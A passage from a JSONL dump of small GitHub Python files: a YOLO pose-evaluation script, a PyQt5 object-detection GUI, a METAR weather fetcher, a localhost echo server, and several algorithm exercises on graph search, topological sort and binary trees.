pickle\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom common import create_model, get_strategy, get_config\nimport utils.plots as pl\nimport utils.predictions as pu\nfrom utils.const import NAMES, SIGMA\nfrom tfds_loader import load_plain_ds, load_ds\n\n\ndef calculate_oks(exps, visibility):\n exps_all = exps * visibility\n exps_sum = tf.math.reduce_sum(exps_all)\n visible_num = tf.math.reduce_sum(visibility)\n return exps_sum/visible_num\n\n\ndef assess_oks(dataset, model, name):\n headers = ['img_id', 'OKS', 'OKS_org']\n headers.extend(NAMES)\n rows = []\n skipped = 0\n for batch in dataset:\n batch_pred_hm = model.predict(batch[1])\n for i, pred_hm in enumerate(batch_pred_hm):\n # img_id, img, height, width, areas, kp, hm\n img_id = batch[0][i]\n img = batch[1][i]\n height = batch[2][i]\n width = batch[3][i]\n area = batch[4][i][0]\n kp_gt = batch[5][i][0] # first person\n\n if np.sum(batch[5][i][1][:, -1]) != 0:\n skipped += 1\n continue\n\n # pl.plot_image(img, pred_hm)\n\n pred_kp = pu.get_preds(pred_hm, (height, width))\n\n visible = kp_gt[:, -1] > 0\n visibility_all = tf.cast(visible, dtype=tf.float64)\n body_kps = tf.constant(np.concatenate(\n (np.ones(17), np.zeros(6)), axis=0), dtype=tf.float64)\n visibility_body = visibility_all * body_kps\n\n gt = tf.cast(kp_gt[:, 0:2], tf.float64)\n squared = (pred_kp - gt)**2\n d_square = tf.math.reduce_sum(squared, axis=1)\n divider = tf.cast(SIGMA**2 * 2 * area, dtype=tf.float64)\n exps_inside = -1 * d_square/divider\n exps = tf.math.exp(exps_inside)\n\n oks = calculate_oks(exps, visibility_all)\n oks_org = calculate_oks(exps, visibility_body)\n\n elements_exps = exps - \\\n tf.cast(tf.math.logical_not(visible),\n dtype=tf.float64) # -1 if not visible\n row = [img_id.numpy(), oks.numpy(), oks_org.numpy()]\n row.extend(elements_exps.numpy())\n rows.append(row)\n\n df = pd.DataFrame(rows, columns=headers)\n df = df.replace(-1, np.nan)\n\n return df\n\n\ndef calculate_ap(column, ap):\n count = column.shape[0]\n return (column >= ap).sum()/count\n\n\ndef calculate_aps_dataframe(oks_df):\n prec_headers = [\"AP\", \"OKS\", \"OKS_org\"]\n\n prec_headers.extend(NAMES)\n\n ap_df = pd.DataFrame(columns=prec_headers)\n aps = np.linspace(0, .95, 20)\n aps_strings = ['mAP=(0.5-0.95)']\n aps_strings.extend([\"AP=%.2f\" % ap for ap in aps])\n ap_df[\"AP\"] = aps_strings\n\n mAP_values = np.linspace(.5, 0.95, 10)\n for i, column in enumerate(oks_df):\n if i == 0:\n continue\n valid = oks_df[column].dropna()\n ap_values = [calculate_ap(valid, ap) for ap in aps]\n mAPs_steps = ap_values[10:]\n mAP = sum(mAPs_steps)/len(mAPs_steps)\n col = [mAP]\n col.extend(ap_values)\n ap_df[column] = col\n\n return ap_df\n\n\ndef assess_dataset(dataset, model, name):\n oks_df = assess_oks(dataset, model, name)\n oks_df.to_csv(\n f\"./models/{cfg.MODEL.SAVE_NAME}/{name}_oks.csv\", index=False)\n\n ap_df = calculate_aps_dataframe(oks_df)\n ap_df.to_csv(f\"./models/{cfg.MODEL.SAVE_NAME}/{name}_aps.csv\", index=False)\n\n\ndef display_training_curves(training, validation, title):\n fig, ax = plt.subplots()\n plt.plot(training)\n plt.plot(validation)\n plt.title('model ' + title)\n plt.ylabel(title)\n plt.xlabel('epoch')\n plt.legend(['training', 'validation'])\n return plt\n\n\ndef draw_history(cfg):\n with open(f'./models/{cfg.MODEL.SAVE_NAME}/training.history', \"rb\") as f:\n history = pickle.load(f)\n plt = display_training_curves(history['loss'], history['val_loss'], 'loss')\n plt.savefig(f'./models/{cfg.MODEL.SAVE_NAME}/loss.svg')\n\n\n# %%\ncfg = get_config()\nstrategy = get_strategy(cfg.TPU)\n\ntrain_dataset = load_plain_ds(cfg.DATASET.TRAIN_DIR, cfg.TRAIN.BATCH_SIZE,\n cfg.DATASET.INPUT_SHAPE, cfg.DATASET.OUTPUT_SHAPE)\nval_dataset = load_plain_ds(cfg.DATASET.VAL_DIR, cfg.VAL.BATCH_SIZE,\n cfg.DATASET.INPUT_SHAPE, cfg.DATASET.OUTPUT_SHAPE)\n\nif strategy != None:\n with strategy.scope():\n model = create_model(cfg)\n model.load_weights(\n f'./models/{cfg.MODEL.SAVE_NAME}/model.h5', by_name=True)\nelse:\n model = create_model(cfg)\n model.load_weights(\n f'./models/{cfg.MODEL.SAVE_NAME}/model.h5', by_name=True)\n# %%\nassess_dataset(val_dataset, model, \"val\")\nassess_dataset(train_dataset, model, \"train\")\ndraw_history(cfg)\n","repo_name":"Qlanowski/rangle","sub_path":"assess.py","file_name":"assess.py","file_ext":"py","file_size_in_byte":4807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21199352398","text":"from collections import Counter\n\nX =int(input())\n\nShoeSizes = list(map(int, input().split()))\nN = int(input())\n# List1 = [[l, g] for l in range(4) for g in range(4) if l < 2 and g > 2]\nCustomRequest = [[0, 0] for _ in range(N)]\n\nfor item in range(N):\n Request = list(map(int, input().split()))\n CustomRequest[item] = Request\n\nDictShoeSize = Counter(ShoeSizes)\nSum = 0\n\nfor item in CustomRequest:\n if item[0] in DictShoeSize.keys() and DictShoeSize[item[0]] > 0:\n Sum += item[1]\n DictShoeSize[item[0]] -= 1\n\nprint(Sum)\n\n\n\n\n\n\n\n\n","repo_name":"TIMAR101/Hackerrank","sub_path":"Python/Collections/collections.Counter.py","file_name":"collections.Counter.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14717735614","text":"# https://www.acmicpc.net/problem/2606\r\nimport sys\r\ninput = sys.stdin.readline\r\n\r\nn = int(input())\r\nm = int(input())\r\n\r\nvisited = [False] * (n+1)\r\ngraph = [[] for _ in range(n+1)]\r\n\r\nfor _ in range(m):\r\n a, b = map(int, input().split())\r\n graph[a].append(b)\r\n graph[b].append(a)\r\n\r\nresult = 0\r\ndef dfs(x):\r\n global result\r\n\r\n result += 1\r\n visited[x] = True\r\n for i in graph[x]:\r\n if not visited[i]:\r\n dfs(i)\r\n\r\ndfs(1)\r\n\r\nprint(result-1)","repo_name":"wjdpdy3/Coding_Test","sub_path":"DFS&BFS/백준2606(바이러스).py","file_name":"백준2606(바이러스).py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16632913306","text":"from pytrends.request import *\nfrom pytrends import *\n\ntrend = TrendReq(hl=\"en-US\")\n\nlast = 0\n\nwhile True:\n word = input(\"Word: \")\n\n trend.build_payload([word], timeframe=\"today 1-m\", cat=0)\n current = trend.interest_over_time()\n mean = current.mean()\n\n if last != 0:\n if float(mean[word]) > last:\n print(\"higher\")\n else:\n print(\"lower\")\n\n last = float(mean[word])","repo_name":"ImGajeed76/lowerhighergame-scam","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10063406062","text":"import requests\nimport sys\nfrom lxml import etree\n\nicao = sys.argv[1]\n\napi_url = f\"https://www.aviationweather.gov/adds/dataserver_current/httpparam?dataSource=metars&requestType=retrieve&format=xml&stationString={icao}&hoursBeforeNow=2\"\n\nresponse = requests.get(api_url)\n\n# Remove the Unicode encoding declaration from the XML data\nxml_data = response.text.replace('', '')\n\n# Parse the XML data\nroot = etree.fromstring(xml_data)\n\n# Find the METAR element and extract its raw_text\ndata = root.find(\"data\")\nmetar = data.find(\"METAR\")\nraw_text = metar.find(\"raw_text\").text\n\nprint(f\"The METAR information at {icao} airport is: {raw_text}\")","repo_name":"rkzwei/CS50","sub_path":"final-project/metar.py","file_name":"metar.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13730424821","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtGui import QFont, QStandardItemModel, QStandardItem, QIcon, QPixmap\nfrom PyQt5.QtWidgets import QMainWindow, QListView, QVBoxLayout, QLabel\nimport sys\nfrom phuong import Ui_MainWindow\nimport cv2\nfrom PyQt5.QtCore import QTimer, QTime, QDateTime, Qt, QMimeDatabase\nimport os\nimport sys\nimport cv2\nimport argparse\n\nimport torch\nimport numpy as np\nimport torch.backends.cudnn as cudnn\nfrom utils.dataloaders import IMG_FORMATS, VID_FORMATS, LoadImages, LoadScreenshots, LoadStreams\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom utils.general import (LOGGER, Profile, check_file, check_img_size, check_imshow, check_requirements, colorstr, cv2,\n increment_path, non_max_suppression, print_args, scale_boxes, strip_optimizer, xyxy2xywh)\nfrom utils.torch_utils import select_device\nfrom models.experimental import attempt_load\nfrom utils.general import check_img_size, non_max_suppression, scale_boxes, check_imshow\nfrom utils.augmentations import letterbox\nfrom utils.plots import Annotator,colors\nimport socket\nfrom models.common import DetectMultiBackend\nclass display(QMainWindow):\n def __init__(self):\n super().__init__()\n self.uic = Ui_MainWindow()\n self.uic.setupUi(self)\n #######################################################\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--weights', nargs='+', type=str,\n default='yolov5x.pt', help='model.pt path(s)')\n # file/folder, 0 for webcam\n # rtsp://admin:admin111@192.168.1.108:554/cam/realmonitor?channel=1&subtype=00\n parser.add_argument('--source', type=str,\n default=0, help='source')\n parser.add_argument('--img-size', type=int,\n default=640, help='inference size (pixels)')\n parser.add_argument('--conf-thres', type=float,\n default=0.25, help='object confidence threshold')\n parser.add_argument('--iou-thres', type=float,\n default=0.45, help='IOU threshold for NMS')\n parser.add_argument('--device', default='',\n help='cuda device, i.e. 0 or 0,1,2,3 or cpu')\n parser.add_argument(\n '--view-img', action='store_true', help='display results')\n parser.add_argument('--save-txt', action='store_true',\n help='save results to *.txt')\n parser.add_argument('--save-conf', action='store_true',\n help='save confidences in --save-txt labels')\n parser.add_argument('--nosave', action='store_true',\n help='do not save images/videos')\n parser.add_argument('--classes', nargs='+', type=int, default='0',\n help='filter by class: --class 0, or --class 0 2 3')\n parser.add_argument(\n '--agnostic-nms', action='store_true', help='class-agnostic NMS')\n parser.add_argument('--augment', action='store_true',\n help='augmented inference')\n parser.add_argument('--update', action='store_true',\n help='update all models')\n parser.add_argument('--project', default='runs/detect',\n help='save results to project/name')\n parser.add_argument('--name', default='exp',\n help='save results to project/name')\n parser.add_argument('--exist-ok', action='store_true',\n help='existing project/name ok, do not increment')\n self.opt = parser.parse_args()\n print(self.opt)\n\n source, weights, save_txt, imgsz = self.opt.source, self.opt.weights, self.opt.save_txt, self.opt.img_size\n\n self.device = select_device(self.opt.device)\n self.half = self.device.type != 'cpu' # half precision only supported on CUDA\n cudnn.benchmark = True\n # Load model\n self.model = model = DetectMultiBackend(weights, device=self.device, dnn=None, data='data/coco128.yaml',\n fp16=False)\n stride, names, pt = model.stride, model.names, model.pt\n self.imgsz = check_img_size(imgsz, s=stride) # check img_size\n if self.half:\n self.model.half() # to FP16\n # Get names and colors\n self.names = self.model.module.names if hasattr(\n self.model, 'module') else self.model.names\n\n\n\n ############################################################################\n self.path_save = \"img\"\n self.path_save_camera_thuong = \"img_camera_thuong\"\n self.kiemtra()\n #############################################################\n self.file_system_model = QStandardItemModel(self.uic.list_img)\n self.uic.list_img.setModel(self.file_system_model)\n self.timer_list_img = QTimer()\n self.timer_list_img.timeout.connect(self.displayImages)\n self.timer_list_img.start(1000)\n self.uic.list_img.doubleClicked.connect(self.displaySelectedImage)\n ################################################################\n self.file_system_model_camera_thuong = QStandardItemModel(self.uic.list_img_camer_thuong)\n self.uic.list_img_camer_thuong.setModel(self.file_system_model_camera_thuong)\n self.timer_list_img_camera_thuong = QTimer()\n self.timer_list_img_camera_thuong.timeout.connect(self.displayImages_camera_thuong)\n self.timer_list_img_camera_thuong.start(1000)\n self.uic.list_img_camer_thuong.doubleClicked.connect(self.displaySelectedImage_camera_thuong)\n ################################################################\n self.image_label = QLabel()\n self.image_label.setAlignment(Qt.AlignCenter)\n # Hiển thị QListView trong giao diện\n layout = QVBoxLayout()\n layout.addWidget(self.uic.list_img)\n layout.addWidget(self.image_label)\n self.setLayout(layout)\n ##############################################################\n self.uic.IMGNG.clicked.connect(self.file_img_ng)\n ##################################################\n self.dem = 0\n self.dem_camera_thuong = 0\n self.cap = cv2.VideoCapture()\n self.timer_video = QTimer()\n self.timer_video.timeout.connect(self.show_video_frame)\n self.uic.name_folder.setFont(QFont(\"MS Shell Dlg 2\", 15))\n self.uic.name_folder.insertHtml(''+self.path_save+'')\n self.uic.name_folder.setAlignment(Qt.AlignCenter)\n self.uic.button_img.clicked.connect(self.show_img)\n self.uic.actionfile_img.triggered.connect(self.show_img)\n self.uic.actionfile_video.triggered.connect(self.show_video)\n self.uic.button_video.clicked.connect(self.show_video)\n self.uic.butto_camera.clicked.connect(self.camera)\n self.uic.capture.clicked.connect(self.capture)\n\n self.uic.hour.setDigitCount(8) # 8 cột\n self.uic.day.setDigitCount(19) #19 cột\n self.timer = QTimer()\n self.timer.timeout.connect(self.update_lcd)\n self.timer.start(1000) # Cập nhật mỗi giây\n\n ##########################################################\n self.uic.camer_thuong.clicked.connect(self.camera_thuong)\n self.timer_video_thuong = QTimer()\n self.timer_video_thuong.timeout.connect(self.show_camera_thuong)\n self.uic.capture_thuong.clicked.connect(self.chup_anh_detect)\n def file_img_ng(self):\n img_name, _ = QtWidgets.QFileDialog.getOpenFileName(\n None, \"open images\", self.path_save, \"*.jpg;;*.png;;All Files(*)\")\n if not img_name:\n return\n else:\n img = cv2.imread(img_name)\n cv2.imshow(str(img_name),img)\n cv2.waitKey(0)\n\n\n def kiemtra(self):\n if not os.path.exists(self.path_save):\n os.mkdir(self.path_save)\n else:\n for file in os.listdir(self.path_save):\n os.remove(os.path.join(self.path_save,file))\n if not os.path.exists(self.path_save_camera_thuong):\n os.mkdir(self.path_save_camera_thuong)\n else:\n for file in os.listdir(self.path_save_camera_thuong):\n os.remove(os.path.join(self.path_save_camera_thuong,file))\n def update_lcd(self):\n # Lấy thời gian hiện tại\n current_time = QTime.currentTime()\n # Chuyển đổi thời gian thành chuỗi \"hh:mm:ss\"\n time_str = current_time.toString('hh:mm:ss')\n # Hiển thị thời gian trên QLCDNumber\n self.uic.hour.display(time_str)\n now = QDateTime.currentDateTime() # Lấy thời gian hiện tại\n self.uic.day.display(now.toString('dd-MM-yyyy hh:mm:ss')) # Hiển thị ngày và thời gian trên QLCDNumber\n def show_img(self):\n img, _ = QtWidgets.QFileDialog.getOpenFileName(\n self, \"open images\", \"\", \"*.jpg;;*.png;;All Files(*)\")\n if not img:\n print(\"k co anh\")\n else:\n img = cv2.imread(img)\n showing = img\n annotator = Annotator(im=showing, line_width=3)\n with torch.no_grad():\n img = letterbox(img, new_shape=self.opt.img_size)[0]\n # Convert\n # BGR to RGB, to 3x416x416\n img = img[:, :, ::-1].transpose(2, 0, 1)\n img = np.ascontiguousarray(img)\n img = torch.from_numpy(img).to(self.device)\n img = img.half() if self.half else img.float() # uint8 to fp16/32\n img /= 255.0 # 0 - 255 to 0.0 - 1.0\n if img.ndimension() == 3:\n img = img.unsqueeze(0)\n # Inference\n pred = self.model(img, augment=self.opt.augment)[0]\n # Apply NMS\n pred = non_max_suppression(pred, self.opt.conf_thres, self.opt.iou_thres, classes=self.opt.classes,\n agnostic=self.opt.agnostic_nms)\n for i, det in enumerate(pred):\n if det is not None and len(det):\n # Rescale boxes from img_size to im0 size\n det[:, :4] = scale_boxes(\n img.shape[2:], det[:, :4], showing.shape).round()\n\n for *xyxy, conf, cls in reversed(det):\n label = '%s %.2f' % (self.names[int(cls)], conf)\n annotator.box_label(xyxy, label=label,\n color=colors(int(cls),True))\n self.result = cv2.cvtColor(showing, cv2.COLOR_BGR2BGRA)\n self.result = cv2.resize(self.result,(899,579))\n self.QtImg = QtGui.QImage(\n self.result.data, self.result.shape[1], self.result.shape[0], QtGui.QImage.Format_RGB32)\n self.uic.display.setPixmap(QtGui.QPixmap.fromImage(self.QtImg))\n def show_video(self):\n if not self.timer_video.isActive():\n video,_ = QtWidgets.QFileDialog.getOpenFileName(None,\"open video\",\"\",\"*.mp4;;All File(*)\")\n if not video:\n return\n else:\n self.cap.open(video)\n self.timer_video.start(1)\n self.uic.button_video.setText(u'turn off video')\n self.uic.butto_camera.setDisabled(True)\n self.uic.button_img.setDisabled(True)\n else:\n self.timer_video.stop()\n self.cap.release()\n self.uic.display.clear()\n self.uic.button_video.setText(u'turn on video')\n self.uic.butto_camera.setDisabled(False)\n self.uic.button_img.setDisabled(False)\n def camera(self):\n if not self.timer_video.isActive():\n flag = self.cap.open(0)\n\n if flag ==False:\n return\n else:\n self.timer_video.start(1)\n self.uic.butto_camera.setText(u\"turn off camera\")\n self.uic.button_video.setDisabled(True)\n self.uic.button_img.setDisabled(True)\n else:\n self.timer_video.stop()\n self.cap.release()\n self.uic.display.clear()\n self.uic.butto_camera.setText(u'turn on camera')\n self.uic.button_video.setDisabled(False)\n self.uic.button_img.setDisabled(False)\n\n\n def capture(self):\n self.dem+=1\n cv2.imwrite(os.path.join(self.path_save, str(self.dem) + '.jpg'), self.showimg)\n def show_video_frame(self):\n # print(\"aaaaaaaaaaaaaaa\")\n flag, img = self.cap.read()\n # print(f\"img : {img}\")\n if img is not None:\n self.showimg = img\n annotator = Annotator(self.showimg, line_width=3)\n with torch.no_grad():\n img = letterbox(img, new_shape=self.opt.img_size)[0]\n # Convert\n # BGR to RGB, to 3x416x416\n img = img[:, :, ::-1].transpose(2, 0, 1)\n img = np.ascontiguousarray(img)\n img = torch.from_numpy(img).to(self.device)\n img = img.half() if self.half else img.float() # uint8 to fp16/32\n img /= 255.0 # 0 - 255 to 0.0 - 1.0\n if img.ndimension() == 3:\n img = img.unsqueeze(0)\n # Inference\n pred = self.model(img, augment=self.opt.augment)[0]\n\n # Apply NMS\n pred = non_max_suppression(pred, self.opt.conf_thres, self.opt.iou_thres, classes=None,\n agnostic=self.opt.agnostic_nms)\n # Process detections\n for i, det in enumerate(pred): # detections per image\n if det is not None and len(det):\n # Rescale boxes from img_size to im0 size\n det[:, :4] = scale_boxes(\n img.shape[2:], det[:, :4], self.showimg.shape).round()\n # Write results\n for *xyxy, conf, cls in reversed(det):\n label = '%s %.2f' % (self.names[int(cls)], conf)\n # print(label)\n annotator.box_label(\n xyxy, label=label, color=colors(int(cls), True))\n self.result = cv2.cvtColor(self.showimg, cv2.COLOR_BGR2RGB)\n showImage = QtGui.QImage(self.result.data, self.result.shape[1], self.result.shape[0],\n QtGui.QImage.Format_RGB888)\n self.uic.display.setPixmap(QtGui.QPixmap.fromImage(showImage))\n #################################################################################################\n def displayImages(self):\n # Lấy danh sách các file trong folder\n files = os.listdir(self.path_save)\n self.file_system_model.clear() # xóa dữ liệu cũ\n # Hiển thị các file ảnh trong model\n for filename in files:\n if filename.endswith(\".jpg\") or filename.endswith(\".png\"):\n item = QStandardItem(QIcon(self.path_save + \"/\" + filename), filename)\n item.setData(self.path_save + \"/\" + filename, Qt.UserRole)\n self.file_system_model.appendRow(item)\n\n def displaySelectedImage(self, index):\n # Lấy đường dẫn đến file ảnh được chọn\n path = self.file_system_model.index(index.row(), 0, index.parent()).data(Qt.UserRole)\n if not path:\n return\n else:\n # Kiểm tra nếu file là ảnh thì hiển thị lên màn hình\n if os.path.isfile(path) and (path.endswith(\".jpg\") or path.endswith(\".png\")):\n img = cv2.imread(path)\n cv2.imshow(path,img)\n cv2.waitKey(0)\n\n #################################################################################################\n def displayImages_camera_thuong(self):\n files = os.listdir(self.path_save_camera_thuong)\n self.file_system_model_camera_thuong.clear() # xóa dữ liệu cũ\n # Hiển thị các file ảnh trong model\n for filename in files:\n if filename.endswith(\".jpg\") or filename.endswith(\".png\"):\n item = QStandardItem(QIcon(self.path_save_camera_thuong + \"/\" + filename), filename)\n item.setData(self.path_save_camera_thuong + \"/\" + filename, Qt.UserRole)\n self.file_system_model_camera_thuong.appendRow(item)\n\n def displaySelectedImage_camera_thuong(self, index):\n # Lấy đường dẫn đến file ảnh được chọn\n path = self.file_system_model_camera_thuong.index(index.row(), 0, index.parent()).data(Qt.UserRole)\n if not path:\n return\n else:\n # Kiểm tra nếu file là ảnh thì hiển thị lên màn hình\n if os.path.isfile(path) and (path.endswith(\".jpg\") or path.endswith(\".png\")):\n img = cv2.imread(path)\n cv2.imshow(path, img)\n cv2.waitKey(0)\n def camera_thuong(self):\n if not self.timer_video_thuong.isActive():\n flag = self.cap.open(0)\n\n if flag == False:\n return\n else:\n self.timer_video_thuong.start(1)\n self.uic.camer_thuong.setText(u\"turn off camera\")\n self.uic.button_video.setDisabled(True)\n self.uic.button_img.setDisabled(True)\n else:\n self.timer_video_thuong.stop()\n self.cap.release()\n self.uic.display.clear()\n self.uic.camer_thuong.setText(u'turn on camera')\n self.uic.button_video.setDisabled(False)\n self.uic.button_img.setDisabled(False)\n\n def show_camera_thuong(self):\n ok,self.frame = self.cap.read()\n self.result = cv2.cvtColor(self.frame, cv2.COLOR_BGR2RGB)\n showImage = QtGui.QImage(self.result.data, self.result.shape[1], self.result.shape[0],\n QtGui.QImage.Format_RGB888)\n self.uic.display.setPixmap(QtGui.QPixmap.fromImage(showImage))\n def chup_anh_detect(self):\n if self.frame is not None:\n self.dem_camera_thuong +=1\n self.showimg_camera_thuong = self.frame\n annotator = Annotator(self.showimg_camera_thuong, line_width=3)\n with torch.no_grad():\n img = letterbox(self.frame, new_shape=self.opt.img_size)[0]\n # Convert\n # BGR to RGB, to 3x416x416\n img = img[:, :, ::-1].transpose(2, 0, 1)\n img = np.ascontiguousarray(img)\n img = torch.from_numpy(img).to(self.device)\n img = img.half() if self.half else img.float() # uint8 to fp16/32\n img /= 255.0 # 0 - 255 to 0.0 - 1.0\n if img.ndimension() == 3:\n img = img.unsqueeze(0)\n # Inference\n pred = self.model(img, augment=self.opt.augment)[0]\n\n # Apply NMS\n pred = non_max_suppression(pred, self.opt.conf_thres, self.opt.iou_thres, classes=None,\n agnostic=self.opt.agnostic_nms)\n # Process detections\n for i, det in enumerate(pred): # detections per image\n if det is not None and len(det):\n # Rescale boxes from img_size to im0 size\n det[:, :4] = scale_boxes(\n img.shape[2:], det[:, :4], self.showimg_camera_thuong.shape).round()\n # Write results\n for *xyxy, conf, cls in reversed(det):\n label = '%s %.2f' % (self.names[int(cls)], conf)\n # print(label)\n annotator.box_label(\n xyxy, label=label, color=colors(int(cls), True))\n cv2.imwrite(os.path.join(self.path_save_camera_thuong,str(self.dem_camera_thuong)+'.jpg'),self.showimg_camera_thuong)\nif __name__ == '__main__':\n app = QtWidgets.QApplication(sys.argv)\n main_win = display()\n main_win.show()\n sys.exit(app.exec_())\n","repo_name":"nguyenvanphuongnamdinh2k/display_img_video_pyqt5","sub_path":"display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":20387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2366912479","text":"from sys import stdin as s\nfrom collections import deque\nimport sys\nsys.setrecursionlimit(10**6)\n\ns=open(\"input.txt\",\"rt\")\n\nv,e = map(int,s.readline().split())\n#진입 차수 테이블 초기화\nindegree = [0]*(v+1)\n#그래프 데이터 담을 인접 리스트 초기화\ngraph = [[] for _ in range(v+1)]\nfor _ in range(e):\n a,b = map(int,s.readline().split())\n graph[a].append(b)\n # 진입 차수 추가 a->b이기 때문에 진입 차수 추가\n indegree[b]+=1\n\n#위상 정렬 함수\ndef topology_sort():\n result=[] # 알고리즘 수행 결과를 담을 리스트\n q=deque() # 큐 기능을 위한 deque 라이브러리 사용\n for i in range(1,v+1):\n if indegree[i]==0:\n q.append(i)\n \n while q:\n node = q.popleft()\n result.append(node)\n for next in graph[node]:\n #해당 윈소와 연결된 노드들의 진입 차수에서 1 빼기\n indegree[next]-=1\n #새롭게 진입차수가 0이되는 노드를 큐에 삽입\n if indegree[next]==0:\n q.append(next)\n # 위상 정렬을 수행한 결과 출력\n for i in result:\n print(i,end=' ')\n \ntopology_sort()\n ","repo_name":"heekyoung2000/jungle-algorithm","sub_path":"third/topoloy/topolohy.py","file_name":"topolohy.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40317263009","text":"import sys\nsys.setrecursionlimit(500*500)\n\nH, W = map(int, input().split())\nc = [list(input()) for _ in range(H)]\n\ndef dfs(x, y):\n if (0 <= x <= H-1) and (0 <= y <= W-1):\n if c[x][y] != '#':\n c[x][y] = '#'\n dfs(x+1, y)\n dfs(x, y+1)\n dfs(x-1, y)\n dfs(x, y-1)\n\ndef route(c):\n H, W = len(c), len(c[0])\n for i in range(H):\n for j in range(W):\n if c[i][j] == 's':\n sx, sy = i, j\n elif c[i][j] == 'g':\n gx, gy = i, j\n\n dfs(sx, sy)\n if c[gx][gy] == '#':\n print('Yes')\n return\n else:\n print('No')\n return\n\nroute(c)","repo_name":"3582/Atcoder_Practice","sub_path":"atcoder/atc001/atc001_A.py","file_name":"atc001_A.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42955563900","text":"import socket\n\nHOST = '127.0.0.1'\nPORT = 9214\nBUFFER_SIZE = 1024\n\ndef start_server():\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:\n server_socket.bind((HOST, PORT))\n server_socket.listen(1)\n print(f\"Server listening on {HOST}:{PORT}\")\n\n conn, addr = server_socket.accept()\n with conn:\n print(f\"Connected by {addr}\")\n while True:\n data = conn.recv(BUFFER_SIZE)\n if not data:\n break\n conn.sendall(data)\n\nif __name__ == '__main__':\n start_server()","repo_name":"AWadowski/pas","sub_path":"lb4/z2.py","file_name":"z2.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8006379290","text":"from collections import deque\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass createBinarySearchTree:\n def __init__(self):\n self.root = None\n\n def insert(self, val):\n if self.root is None:\n self.root = TreeNode(val)\n else:\n self._insert_recursive(data, self.root)\n\n def _insert_recursive(self, data, node):\n if data < node.val:\n if node.left is None:\n node.left = TreeNode(data)\n else:\n self._insert_recursive(data, node.left)\n else:\n if node.right is None:\n node.right = TreeNode(data)\n else:\n self._insert_recursive(data, node.right)\n\n def search(self, data):\n return self.traversal(data, self.root)\n\n def traversal(self, data, node):\n if node is None or node.val == data:\n return node\n result = self.traversal(data, node.left)\n if result is None: # If not found in the left subtree, search the right subtree\n result = self.traversal(data, node.right)\n return result\n\n\n def manual_insert(self, data, parent, isLeft=False):\n if parent is None:\n self.root = TreeNode(data)\n else:\n node = self.search(parent)\n if isLeft:\n node.left = TreeNode(data)\n else:\n node.right = TreeNode(data)\n\n def display(self):\n if self.root is None:\n return None\n deq = deque([self.root])\n output = []\n\n while deq:\n levelLen = len(deq)\n for i in range(0, levelLen):\n node = deq.popleft()\n output.append(node.val)\n if node.left is not None:\n deq.append(node.left)\n if node.right is not None:\n deq.append(node.right)\n\n return output\n\n def getRoot(self):\n if self.root is None:\n return None\n return self.root\n\n\n##################################################################################################################\n\n# bst = createBinarySearchTree()\n#\n# # Inserting elements manually\n# bst.manual_insert(50, None) # Root node\n# # print(bst.display())\n# bst.manual_insert(30, 50, True) # Insert 30 as the left child of 50\n# # print(bst.display())\n# bst.manual_insert(20, 30, True) # Insert 20 as the left child of 30\n# # bst.display()\n# bst.manual_insert(40, 30, False) # Insert 40 as the right child of 30\n# bst.manual_insert(70, 50, False) # Insert 70 as the right child of 50\n# bst.manual_insert(23, 70, False)\n# bst.manual_insert(None, 70, True)\n# print(bst.display())\n","repo_name":"senumulapally/DataStructures","sub_path":"Trees/Binary_Tree/CreateBinaryTree.py","file_name":"CreateBinaryTree.py","file_ext":"py","file_size_in_byte":2791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13047799575","text":"from cavachon.modules.parameterizers.Parameterizer import Parameterizer\r\n\r\nclass MultivariateNormalDiag(Parameterizer):\r\n \"\"\"MultivariateNormalDiag\r\n\r\n Parameterizer for MultivariateNormalDiag. By defaults, the call() \r\n function expects a Mapping of tf.Tensor with 'input'. The call() \r\n function generate one single tf.Tensor which can be considered as the\r\n loc and scale_diag for MultivariateNormalDiag distribution, and\r\n 1. outputs[..., 0:p] will be used as the loc. \r\n 2. outputs[..., p:2*p] will be used as the scale_diag.\r\n\r\n Attributes\r\n ----------\r\n default_libsize_scaling: bool\r\n class attributes, whether to scale by libsize by default (this\r\n is used when building tf.keras.Model to understand if the module\r\n requires multiple inputs.)\r\n \r\n libsize_scaling: bool\r\n whether to perform scaling by libsize.\r\n\r\n exp_transform: bool\r\n whether to perform exponential transformation. This will be \r\n performed after scaling by libsize by default.\r\n\r\n See Also\r\n --------\r\n distributions.MultivariateNormalDiag: the compatible distribution\r\n layers.parameterizer.MultivariateNormalDiag: the parameterizer layer.\r\n modules.parameterizer.MultivariateNormalDiag: the parent class.\r\n \r\n \"\"\"\r\n\r\n default_libsize_scaling = False\r\n\r\n def __init__(self, *args, **kwargs):\r\n \"\"\"Constructor for MultivariateNormalDiag. Should not be called \r\n directly most of the time. Please use make() to create the model.\r\n\r\n Parameters\r\n 